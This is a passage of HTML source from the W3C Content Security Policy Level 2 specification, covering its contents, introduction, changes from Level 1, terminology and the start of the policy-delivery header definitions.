class=\"content\">\n      <code>SecurityPolicyViolationEvent</code> Interface\n    </span></a>\n      <li><a href=\"#securitypolicyviolationeventinit-interface\"><span class=\"secno\">6.2</span> <span class=\"content\">\n      <code>SecurityPolicyViolationEventInit</code> Interface\n    </span></a>\n      <li><a href=\"#firing-securitypolicyviolationevent-events\"><span class=\"secno\">6.3</span> <span class=\"content\">Firing Violation Events</span></a>\n     </ul>\n    <li><a href=\"#directives\"><span class=\"secno\">7</span> <span class=\"content\">Directives</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#directive-base-uri\"><span class=\"secno\">7.1</span> <span class=\"content\"><code>base-uri</code></span></a>\n      <li><a href=\"#directive-child-src\"><span class=\"secno\">7.2</span> <span class=\"content\"><code>child-src</code></span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#directive-child-src-nested\"><span class=\"secno\">7.2.1</span> <span class=\"content\">Nested Browsing Contexts</span></a>\n        <li><a href=\"#directive-child-src-workers\"><span class=\"secno\">7.2.2</span> <span class=\"content\">Workers</span></a>\n       </ul>\n      <li><a href=\"#directive-connect-src\"><span class=\"secno\">7.3</span> <span class=\"content\"><code>connect-src</code></span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#connect-src-usage\"><span class=\"secno\">7.3.1</span> <span class=\"content\">Usage</span></a>\n       </ul>\n      <li><a href=\"#directive-default-src\"><span class=\"secno\">7.4</span> <span class=\"content\"><code>default-src</code></span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#default-src-usage\"><span class=\"secno\">7.4.1</span> <span class=\"content\">Usage</span></a>\n       </ul>\n      <li><a href=\"#directive-font-src\"><span class=\"secno\">7.5</span> <span class=\"content\"><code>font-src</code></span></a>\n      <li><a href=\"#directive-form-action\"><span class=\"secno\">7.6</span> <span class=\"content\"><code>form-action</code></span></a>\n      <li><a href=\"#directive-frame-ancestors\"><span class=\"secno\">7.7</span> <span class=\"content\"><code>frame-ancestors</code></span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#frame-ancestors-and-frame-options\"><span class=\"secno\">7.7.1</span> <span class=\"content\">\n        Relation to <code>X-Frame-Options</code>\n      </span></a>\n        <li><a href=\"#frame-ancestors-multiple-source-values\"><span class=\"secno\">7.7.2</span> <span class=\"content\">Multiple Host Source Values</span></a>\n       </ul>\n      <li><a href=\"#directive-frame-src\"><span class=\"secno\">7.8</span> <span class=\"content\"><code>frame-src</code></span></a>\n      <li><a href=\"#directive-img-src\"><span class=\"secno\">7.9</span> <span class=\"content\"><code>img-src</code></span></a>\n      <li><a href=\"#directive-media-src\"><span class=\"secno\">7.10</span> <span class=\"content\"><code>media-src</code></span></a>\n      <li><a href=\"#directive-object-src\"><span class=\"secno\">7.11</span> <span class=\"content\"><code>object-src</code></span></a>\n      <li><a href=\"#directive-plugin-types\"><span class=\"secno\">7.12</span> <span class=\"content\"><code>plugin-types</code></span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#plugin-types-usage\"><span class=\"secno\">7.12.1</span> <span class=\"content\">Usage</span></a>\n        <li><a href=\"#plugin-types-predeclaration\"><span class=\"secno\">7.12.2</span> <span class=\"content\">\n        Predeclaration of expected media types\n      </span></a>\n       </ul>\n      <li><a href=\"#directive-report-uri\"><span class=\"secno\">7.13</span> <span class=\"content\"><code>report-uri</code></span></a>\n      <li><a href=\"#directive-sandbox\"><span class=\"secno\">7.14</span> <span class=\"content\"><code>sandbox</code></span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#sandboxing-and-workers\"><span class=\"secno\">7.14.1</span> <span class=\"content\">Sandboxing and Workers</span></a>\n        <li><a href=\"#sandbox-usage\"><span class=\"secno\">7.14.2</span> <span class=\"content\">Usage</span></a>\n       </ul>\n      <li><a href=\"#directive-script-src\"><span class=\"secno\">7.15</span> <span class=\"content\"><code>script-src</code></span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#script-src-nonce-usage\"><span class=\"secno\">7.15.1</span> <span class=\"content\">\n        Nonce usage for <code><span data-lt=\"script\">script</span></code> elements\n      </span></a>\n        <li><a href=\"#script-src-hash-usage\"><span class=\"secno\">7.15.2</span> <span class=\"content\">\n        Hash usage for <code><span data-lt=\"script\">script</span></code> elements\n      </span></a>\n       </ul>\n      <li><a href=\"#directive-style-src\"><span class=\"secno\">7.16</span> <span class=\"content\"><code>style-src</code></span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#style-src-nonce-usage\"><span class=\"secno\">7.16.1</span> <span class=\"content\">\n        Nonce usage for <code><span data-lt=\"style\">style</span></code> elements\n      </span></a>\n        <li><a href=\"#style-src-hash-usage\"><span class=\"secno\">7.16.2</span> <span class=\"content\">\n        Hash usage for <code><span data-lt=\"style\">style</span></code> elements\n      </span></a>\n       </ul>\n     </ul>\n    <li><a href=\"#examples\"><span class=\"secno\">8</span> <span class=\"content\">Examples</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#example-policies\"><span class=\"secno\">8.1</span> <span class=\"content\">Sample Policy Definitions</span></a>\n      <li><a href=\"#example-violation-report\"><span class=\"secno\">8.2</span> <span class=\"content\">Sample Violation Report</span></a>\n     </ul>\n    <li><a href=\"#security-considerations\"><span class=\"secno\">9</span> <span class=\"content\">Security Considerations</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#security-css-parsing\"><span class=\"secno\">9.1</span> <span class=\"content\">Cascading Style Sheet (CSS) Parsing</span></a>\n      <li><a href=\"#security-violation-reports\"><span class=\"secno\">9.2</span> <span class=\"content\">Violation Reports</span></a>\n     </ul>\n    <li><a href=\"#implementation-considerations\"><span class=\"secno\">10</span> <span class=\"content\">Implementation Considerations</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#complications\"><span class=\"secno\">10.1</span> <span class=\"content\">Processing Complications</span></a>\n     </ul>\n    <li><a href=\"#iana-considerations\"><span class=\"secno\">11</span> <span class=\"content\">IANA Considerations</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#iana-content-security-policy\"><span class=\"secno\">11.1</span> <span class=\"content\">Content-Security-Policy</span></a>\n      <li><a href=\"#iana-content-security-policy-report-only\"><span class=\"secno\">11.2</span> <span class=\"content\">Content-Security-Policy-Report-Only</span></a>\n      <li><a href=\"#iana-csp\"><span class=\"secno\">11.3</span> <span class=\"content\">CSP</span></a>\n     </ul>\n    <li><a href=\"#acknowledgements\"><span class=\"secno\">12</span> <span class=\"content\">Acknowledgements</span></a>\n    <li><a href=\"#conformance\"><span class=\"secno\"></span> <span class=\"content\">Conformance</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#conventions\"><span class=\"secno\"></span> <span class=\"content\">Document conventions</span></a>\n      <li><a href=\"#conformant-algorithms\"><span class=\"secno\"></span> <span class=\"content\">Conformant Algorithms</span></a>\n      <li><a href=\"#conformance-classes\"><span class=\"secno\"></span> <span class=\"content\">Conformance Classes</span></a>\n     </ul>\n    <li><a href=\"#references\"><span class=\"secno\"></span> <span class=\"content\">References</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#normative\"><span class=\"secno\"></span> <span class=\"content\">Normative References</span></a>\n      <li><a href=\"#informative\"><span class=\"secno\"></span> <span class=\"content\">Informative References</span></a>\n     </ul>\n    <li><a href=\"#index\"><span class=\"secno\"></span> <span class=\"content\">Index</span></a>\n    <li><a href=\"#idl-index\"><span class=\"secno\"></span> <span class=\"content\">IDL Index</span></a>\n   </ul></div>\n\n  <main>\n\n\n\n\n\n\n\n\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"1\" id=\"intro\"><span class=\"secno\">1. </span><span class=\"content\">Introduction</span><a class=\"self-link\" href=\"#intro\"></a></h2>\n\n\n    <p><em>This section is not normative.</em></p>\n\n\n    <p>This document defines Content Security Policy, a mechanism web applications\n  can use to mitigate a broad class of content injection vulnerabilities, such\n  as cross-site scripting (XSS). Content Security Policy is a declarative policy\n  that lets the authors (or server administrators) of a web application inform\n  the client about the sources from which the application expects to load\n  resources.</p>\n\n\n    <p>To mitigate XSS attacks, for example, a web application can declare that it\n  only expects to load script from specific, trusted sources. This declaration\n  allows the client to detect and block malicious scripts injected into the\n  application by an attacker.</p>\n\n\n    <p>Content Security Policy (CSP) is not intended as a first line of defense\n  against content injection vulnerabilities. Instead, CSP is best used as\n  defense-in-depth, to reduce the harm caused by content injection attacks. As\n  a first line of defense against content injection, server operators should\n  validate their input and encode their output.</p>\n\n\n    <p>There is often a non-trivial amount of work required to apply CSP to an\n  existing web application. To reap the greatest benefit, authors will need to\n  move all inline script and style out-of-line, for example into external\n  scripts, because the user agent cannot determine whether an inline script\n  was injected by an attacker.</p>\n\n\n    <p>To take advantage of CSP, a web application opts into using CSP by supplying a\n  <code>Content-Security-Policy</code> HTTP header. Such policies apply to the\n  current resource representation only. To supply a policy for an entire site,\n  the server needs to supply a policy with each resource representation.</p>\n\n  \n    <h3 class=\"heading settled\" data-level=\"1.1\" id=\"changes-from-level-1\"><span class=\"secno\">1.1. </span><span class=\"content\">Changes from Level 1</span><a class=\"self-link\" href=\"#changes-from-level-1\"></a></h3>\n\n\n    <p>This document describes an evolution of the\n  <a href=\"http://www.w3.org/TR/CSP/\">Content Security Policy specification</a>.\n  Level 2 makes two breaking changes from Level 1, and adds support for a number\n  of new directives and capabilities which are summarized below:</p>\n\n  \n    <ol>\n    \n     <li>\n      The following changes are backwards incompatible with the majority of\n      user agent’s implementations of CSP 1:\n\n      \n      <ol>\n        \n       <li>\n          The path component of a source expression is now ignored if the\n          resource being loaded is the result of a redirect, as described in\n          <a href=\"#source-list-paths-and-redirects\">§4.2.2.3 Paths and Redirects</a>.\n\n\n        <p class=\"note\" role=\"note\">Note: Paths are technically new in CSP2, but they were already\n          implemented in many user agents before this revision of CSP was\n          completed, so noting the change here seems reasonable.</p>\n        \n        \n       \n        \n       <li>\n          Redirects are blocked by default, and explicitly allowed with a new\n          <code>unsafe-redirect</code> expression.\n        \n       \n        \n       <li>\n          A <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>’s ability to load Workers is now controlled\n          via <a data-link-type=\"dfn\" href=\"#child_src\"><code>child-src</code></a> rather than\n          <a data-link-type=\"dfn\" href=\"#script_src\"><code>script-src</code></a>.\n        \n       \n        \n       <li>\n          Workers now have their own policy, separate from the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected\n          resource</a> which loaded them. This is described in\n          <a href=\"#processing-model-workers\">§5.1 Workers</a>.\n        \n       \n      \n      </ol>\n      \n    \n     \n    \n     <li>\n      The following directives are brand new in this revision:\n\n      \n      <ol>\n        \n       <li>\n          <a data-link-type=\"dfn\" href=\"#base_uri\"><code>base-uri</code></a> controls the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected\n          resource</a>’s ability to specify the <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#document-base-url\">document base\n          URL</a>.\n        \n       \n        \n       <li>\n          <a data-link-type=\"dfn\" href=\"#child_src\"><code>child-src</code></a> deprecates and replaces\n          <a data-link-type=\"dfn\" href=\"#frame_src\"><code>frame-src</code></a>, controlling the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected\n          resource</a>’s ability to embed frames, and to load Workers.\n        \n       \n        \n       <li>\n          <a data-link-type=\"dfn\" href=\"#form_action\"><code>form-action</code></a> controls the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected\n          resource</a>’s ability to submit forms.\n        \n       \n        \n       <li>\n          <a data-link-type=\"dfn\" href=\"#frame_ancestors\"><code>frame-ancestors</code></a> controls the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected\n          resource</a>’s ability be embedded in other documents. It is meant\n          to supplant the <code>X-Frame-Options</code> HTTP request header.\n        \n       \n        \n       <li>\n          <a data-link-type=\"dfn\" href=\"#plugin_types\"><code>plugin-types</code></a> controls the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected\n          resource</a>’s ability to load specific types of plugins.\n        \n       \n      \n      </ol>\n      \n    \n     \n    \n     <li>\n      Individual inline scripts and stylesheets may be whitelisted via nonces\n      (as described in <a href=\"#source-list-valid-nonces\">§4.2.4 Valid Nonces</a>) and hashes (as described\n      in <a href=\"#source-list-valid-hashes\">§4.2.5 Valid Hashes</a>).\n    \n     \n    \n     <li>\n      A <code>CSP</code> request header is now sent with relevant requests, as\n      described in <a href=\"#csp-request-header\">§3.4 The CSP HTTP Request Header</a>.\n    \n     \n    \n     <li>\n      A <code class=\"idl\"><a data-link-type=\"idl\" href=\"#securitypolicyviolationevent\">SecurityPolicyViolationEvent</a></code> is fired upon violations, as described\n      in <a href=\"#firing-securitypolicyviolationevent-events\">§6.3 Firing Violation Events</a>.\n    \n     \n    \n     <li>\n      A number of new fields were added to violation reports (both those POSTED\n      via <a data-link-type=\"dfn\" href=\"#report_uri\"><code>report-uri</code></a>, and those handed to the DOM via\n      <code class=\"idl\"><a data-link-type=\"idl\" href=\"#securitypolicyviolationevent\">SecurityPolicyViolationEvent</a></code> events. These include\n      <code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-effectivedirective\">effectiveDirective</a></code>,\n      <code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-statuscode\">statusCode</a></code>,\n      <code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-sourcefile\">sourceFile</a></code>,\n      <code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-linenumber\">lineNumber</a></code>, and\n      <code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-columnnumber\">columnNumber</a></code>.\n    \n     \n    \n     <li>\n      Certain flags present in the <code><a data-link-type=\"dfn\" href=\"#sandbox\">sandbox</a></code> directive now\n      affect Worker creation, as described in <a href=\"#sandboxing-and-workers\">§7.14.1 Sandboxing and Workers</a>.\n    \n     \n  \n    </ol>\n</section>\n\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"2\" id=\"key-concepts\"><span class=\"secno\">2. </span><span class=\"content\">Key Concepts and Terminology</span><a class=\"self-link\" href=\"#key-concepts\"></a></h2>\n\n  \n    <h3 class=\"heading settled\" data-level=\"2.1\" id=\"terms-defined-here\"><span class=\"secno\">2.1. </span><span class=\"content\">Terms defined by this specification</span><a class=\"self-link\" href=\"#terms-defined-here\"></a></h3>\n  \n    <dl>\n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-export=\"\" data-local-lt=\"policy\" id=\"security-policy\">security policy<a class=\"self-link\" href=\"#security-policy\"></a></dfn>\n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-export=\"\" data-local-lt=\"directive\" id=\"security-policy-directive\">security policy directive<a class=\"self-link\" href=\"#security-policy-directive\"></a></dfn>\n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-export=\"\" data-local-lt=\"directive name\" id=\"security-policy-directive-name\">security policy directive name<a class=\"self-link\" href=\"#security-policy-directive-name\"></a></dfn>\n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-export=\"\" data-local-lt=\"directive value\" id=\"security-policy-directive-value\">security policy directive value<a class=\"self-link\" href=\"#security-policy-directive-value\"></a></dfn>\n    \n     \n    \n     <dd>\n      A <strong>security policy</strong> refers to both a set of security\n      preferences for restrictions within which content can operate, and\n      to a fragment of text that codifies or transmits these preferences.\n      For example, the following string is a policy which restricts script\n      and object content:\n\n      \n      <div class=\"example\">\n        <code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> 'self'; <a data-link-type=\"dfn\" href=\"#object_src\">object-src</a> 'none'</code>\n      </div>\n      \n\n\n      <p>Security policies contain a set of <strong>security policy\n      directives</strong> (<code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code> and\n      <code><a data-link-type=\"dfn\" href=\"#object_src\">object-src</a></code> in the example above), each responsible\n      for declaring the restrictions for a particular resource type, or\n      manipulating a specific aspect of the policy’s restrictions. The list\n      of directives defined by this specification can be found in\n      <a href=\"#directives\">§7 Directives</a>.</p>\n      \n\n\n      <p>Each directives has a <strong>name</strong> and a <strong>value</strong>;\n      a detailed grammar can be found in <a href=\"#syntax-and-algorithms\">§4 Syntax and Algorithms</a>.</p>\n      \n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-export=\"\" id=\"protected-resource\">protected resource<a class=\"self-link\" href=\"#protected-resource\"></a></dfn>\n    \n     \n    \n     <dd>\n      A <a data-link-type=\"dfn\" href=\"#security-policy\">security policy</a> is applied by a user agent to a specific\n      <a data-link-type=\"dfn\" href=\"#resource-representation\">resource representation</a>, known as the <strong>protected\n      resource</strong>. See <a href=\"#policy-delivery\">§3 Policy Delivery</a> for details regarding\n      the mechanisms by which policies may be applied to a protected\n      resource.\n    \n     \n  \n    </dl>\n\n  \n    <h3 class=\"heading settled\" data-level=\"2.2\" id=\"terms-defined-by-reference\"><span class=\"secno\">2.2. </span><span class=\"content\">Terms defined by reference</span><a class=\"self-link\" href=\"#terms-defined-by-reference\"></a></h3>\n  \n    <dl>\n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"globally-unique-identifier\">globally unique identifier<a class=\"self-link\" href=\"#globally-unique-identifier\"></a></dfn>\n    \n     \n    \n     <dd>\n      Defined in\n      <a href=\"https://tools.ietf.org/html/rfc6454#section-2.3\">Section 2.3 of\n      the Origin specification</a>. <a data-link-type=\"biblio\" href=\"#biblio-rfc6454\">[RFC6454]</a>\n\n\n      <p class=\"note\" role=\"note\">NOTE: URLs which do not use hierarchical elements as naming authorities\n      (<code>data:</code>, for instance) have <a data-link-type=\"dfn\" href=\"#origin\">origins</a> which are globally\n      unique identifiers.</p>\n      \n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"http-200-response\">HTTP 200 response<a class=\"self-link\" href=\"#http-200-response\"></a></dfn>\n    \n     \n    \n     <dd>\n      Defined in\n      <a href=\"https://tools.ietf.org/html/rfc7231#section-6.3.1\">Section\n      6.3.1 of HTTP/1.1 -- Semantics and Content</a>. <a data-link-type=\"biblio\" href=\"#biblio-rfc7231\">[RFC7231]</a>\n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"json-object\">JSON object<a class=\"self-link\" href=\"#json-object\"></a></dfn>\n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"json-stringification\">JSON stringification<a class=\"self-link\" href=\"#json-stringification\"></a></dfn>\n    \n     \n    \n     <dd>\n      Defined in the JSON specification. <a data-link-type=\"biblio\" href=\"#biblio-rfc4627\">[RFC4627]</a>\n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"origin\">origin<a class=\"self-link\" href=\"#origin\"></a></dfn>\n    \n     \n    \n     <dd>\n      Defined by the Origin specification. <a data-link-type=\"biblio\" href=\"#biblio-rfc6454\">[RFC6454]</a>\n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-local-lt=\"representation\" data-noexport=\"\" id=\"resource-representation\">resource representation<a class=\"self-link\" href=\"#resource-representation\"></a></dfn>\n    \n     \n    \n     <dd>\n      Defined in <a href=\"https://tools.ietf.org/html/rfc7231#section-3\">Section\n      3 of HTTP/1.1 -- Semantics and Content</a>. <a data-link-type=\"biblio\" href=\"#biblio-rfc7231\">[RFC7231]</a>\n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"url\">URL<a class=\"self-link\" href=\"#url\"></a></dfn>\n    \n     \n    \n     <dd>\n      Defined by <a data-link-type=\"biblio\" href=\"#biblio-url\">[URL]</a>.\n    \n     \n    \n     <dt><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"sha_256\">SHA-256<a class=\"self-link\" href=\"#sha_256\"></a></dfn>\n     \n    \n     <dt><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"sha_384\">SHA-384<a class=\"self-link\" href=\"#sha_384\"></a></dfn>\n     \n    \n     <dt><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"sha_512\">SHA-512<a class=\"self-link\" href=\"#sha_512\"></a></dfn>\n     \n    \n     <dd>\n      These digest algorithms are defined by the NIST. <a data-link-type=\"biblio\" href=\"#biblio-sha2\">[SHA2]</a>\n    \n     \n  \n    </dl>\n\n  \n    <h3 class=\"heading settled\" data-level=\"2.3\" id=\"html-concepts\"><span class=\"secno\">2.3. </span><span class=\"content\">Relevant Concepts from HTML</span><a class=\"self-link\" href=\"#html-concepts\"></a></h3>\n\n\n    <p>The <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/obsolete.html#the-applet-element\">applet</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-audio-element\">audio</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element\">iframe</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-img-element\">img</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-link-element\">link</a></code>,\n  <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-source-element\">source</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-track-element\">track</a></code>, and <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-video-element\">video</a></code> are defined in\n  <a data-link-type=\"biblio\" href=\"#biblio-html5\">[HTML5]</a>.</p>\n\n\n    <p>The terms <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#auxiliary-browsing-context\">auxiliary browsing contexts</a>,\n  <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#opener-browsing-context\">opener browsing context</a>, and <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing contexts</a> are\n  defined in the HTML5 specification. <a data-link-type=\"biblio\" href=\"#biblio-html5\">[HTML5]</a></p>\n\n\n    <p>A <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#plugin\">plugin</a> is defined in the HTML5 specification. <a data-link-type=\"biblio\" href=\"#biblio-html5\">[HTML5]</a></p>\n\n\n    <p>The <code><a class=\"production css\" data-link-type=\"at-rule\" href=\"http://www.w3.org/TR/css-fonts-3/#at-font-face-rule\">&lt;@font-face></a></code> Cascading Style Sheets (CSS) rule is defined\n  in the CSS Fonts Module Level 3 specification. <a data-link-type=\"biblio\" href=\"#biblio-css3-fonts\">[CSS3-FONTS]</a></p>\n\n\n    <p>The <code>XMLHttpRequest</code> object is defined in the\n  <code>XMLHttpRequest</code> specification. <a data-link-type=\"biblio\" href=\"#biblio-xmlhttprequest\">[XMLHTTPREQUEST]</a></p>\n\n\n    <p>The <code>WebSocket</code> object is defined in the <code>WebSocket</code>\n  specification. <a data-link-type=\"biblio\" href=\"#biblio-websockets\">[WEBSOCKETS]</a></p>\n\n\n    <p>The <code>EventSource</code> object is defined in the <code>EventSource</code>\n  specification. <a data-link-type=\"biblio\" href=\"#biblio-eventsource\">[EVENTSOURCE]</a></p>\n\n\n    <p>The <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"runs-a-worker\">runs a worker<a class=\"self-link\" href=\"#runs-a-worker\"></a></dfn> algorithm is\n  <a href=\"http://www.w3.org/TR/workers/#run-a-worker\">defined in the Web\n  Workers spec</a>. <a data-link-type=\"biblio\" href=\"#biblio-workers\">[WORKERS]</a></p>\n\n\n    <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"callable\">callable<a class=\"self-link\" href=\"#callable\"></a></dfn> refers to an object whose interface\n  has one or more <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"callers\">callers<a class=\"self-link\" href=\"#callers\"></a></dfn> as defined in the <a href=\"http://www.w3.org/TR/2010/WD-WebIDL-20101021/#idl-callers\">Web\n  IDL</a> specification <a data-link-type=\"biblio\" href=\"#biblio-webidl\">[WEBIDL]</a>.</p>\n\n  \n    <h3 class=\"heading settled\" data-level=\"2.4\" id=\"grammar\"><span class=\"secno\">2.4. </span><span class=\"content\">Grammatical Concepts</span><a class=\"self-link\" href=\"#grammar\"></a></h3>\n\n\n    <p>The Augmented Backus-Naur Form (ABNF) notation used in this document is\n  specified in RFC5234. <a data-link-type=\"biblio\" href=\"#biblio-abnf\">[ABNF]</a></p>\n\n\n    <p>This document also uses the ABNF extension \"#rule\" as defined in\n  <a href=\"https://tools.ietf.org/html/rfc7230#section-7\">Section 7</a>\n  of HTTP/1.1 -- Message Syntax and Routing. <a data-link-type=\"biblio\" href=\"#biblio-rfc7230\">[RFC7230]</a></p>\n\n\n    <p>The following core rules are included by reference, as defined in\n  <a href=\"https://tools.ietf.org/html/rfc5234#appendix-B.1\">Appendix B.1</a>\n  of <a data-link-type=\"biblio\" href=\"#biblio-abnf\">[ABNF]</a>: <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"alpha\">ALPHA<a class=\"self-link\" href=\"#alpha\"></a></dfn></code> (letters),\n  <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"digit\">DIGIT<a class=\"self-link\" href=\"#digit\"></a></dfn></code> (decimal 0-9), <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"wsp\">WSP<a class=\"self-link\" href=\"#wsp\"></a></dfn></code>\n  (white space) and <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"vchar\">VCHAR<a class=\"self-link\" href=\"#vchar\"></a></dfn></code> (printing characters).</p>\n</section>\n\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"3\" id=\"policy-delivery\"><span class=\"secno\">3. </span><span class=\"content\">Policy Delivery</span><a class=\"self-link\" href=\"#policy-delivery\"></a></h2>\n\n\n    <p>The server delivers a <a data-link-type=\"dfn\" href=\"#security-policy\">policy</a> to the user agent via an HTTP response\n  header (defined in <a href=\"#content-security-policy-header-field\">§3.1 \n      Content-Security-Policy Header Field\n    </a> and\n  <a href=\"#content-security-policy-report-only-header-field\">§3.2 \n      Content-Security-Policy-Report-Only Header Field\n    </a>) or an HTML\n  <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element (defined in <a href=\"#delivery-html-meta-element\">§3.3 \n      HTML meta Element\n    </a>).</p>\n\n\n    <p>Servers are informed that requests are coming from a <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>\n  via an HTTP request header (defined in <a href=\"#csp-request-header\">§3.4 The CSP HTTP Request Header</a>).</p>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"3.1\" id=\"content-security-policy-header-field\"><span class=\"secno\">3.1. </span><span class=\"content\">\n      <code>Content-Security-Policy</code> Header Field\n    </span><a class=\"self-link\" href=\"#content-security-policy-header-field\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-export=\"\" id=\"content_security_policy\">Content-Security-Policy<a class=\"self-link\" href=\"#content_security_policy\"></a></dfn></code> header field is\n    the preferred mechanism for delivering a policy. The grammar is as follows:</p>\n     \n\n    \n     <pre>\"Content-Security-Policy:\" 1#<a data-link-type=\"dfn\" href=\"#policy_token\">policy-token</a>\n</pre>\n     \n\n\n     <p>For example, a response might include the following header field:</p>\n     \n\n    \n     <div class=\"example\">\n      <code>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> 'self'</code>\n    </div>\n     \n\n\n     <p>A server MUST NOT send more than one HTTP header field named\n    <code>Content-Security-Policy</code> with a given <a data-link-type=\"dfn\" href=\"#resource-representation\">resource\n    representation</a>.</p>\n     \n\n\n     <p>A server MAY send different <code>Content-Security-Policy</code>\n    header field values with different <a data-link-type=\"dfn\" href=\"#resource-representation\">representations</a> of the same\n    resource or with different resources.</p>\n     \n\n\n     <p>Upon receiving an HTTP response containing at least one\n    <code>Content-Security-Policy</code> header field, the user agent\n    MUST <a data-link-type=\"dfn\" href=\"#enforce\">enforce</a> each of the policies contained in each such\n    header field.</p>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"3.2\" id=\"content-security-policy-report-only-header-field\"><span class=\"secno\">3.2. </span><span class=\"content\">\n      <code>Content-Security-Policy-Report-Only</code> Header Field\n    </span><a class=\"self-link\" href=\"#content-security-policy-report-only-header-field\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-export=\"\" id=\"content_security_policy_report_only\">Content-Security-Policy-Report-Only<a class=\"self-link\" href=\"#content_security_policy_report_only\"></a></dfn></code>\n    header field lets servers experiment with policies by monitoring (rather\n    than enforcing) a policy. The grammar is as follows:</p>\n     \n\n    \n     <pre>\"Content-Security-Policy-Report-Only:\" 1#<a data-link-type=\"dfn\" href=\"#policy_token\">policy-token</a>\n</pre>\n     \n\n\n     <p>For example, server operators might wish to develop their\n    security policy iteratively. The operators can deploy a report-only\n    policy based on their best estimate of how their site behaves:</p>\n     \n\n    \n     <div class=\"example\">\n      \n      <pre>Content-Security-Policy-Report-Only: <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> 'self';\n                                     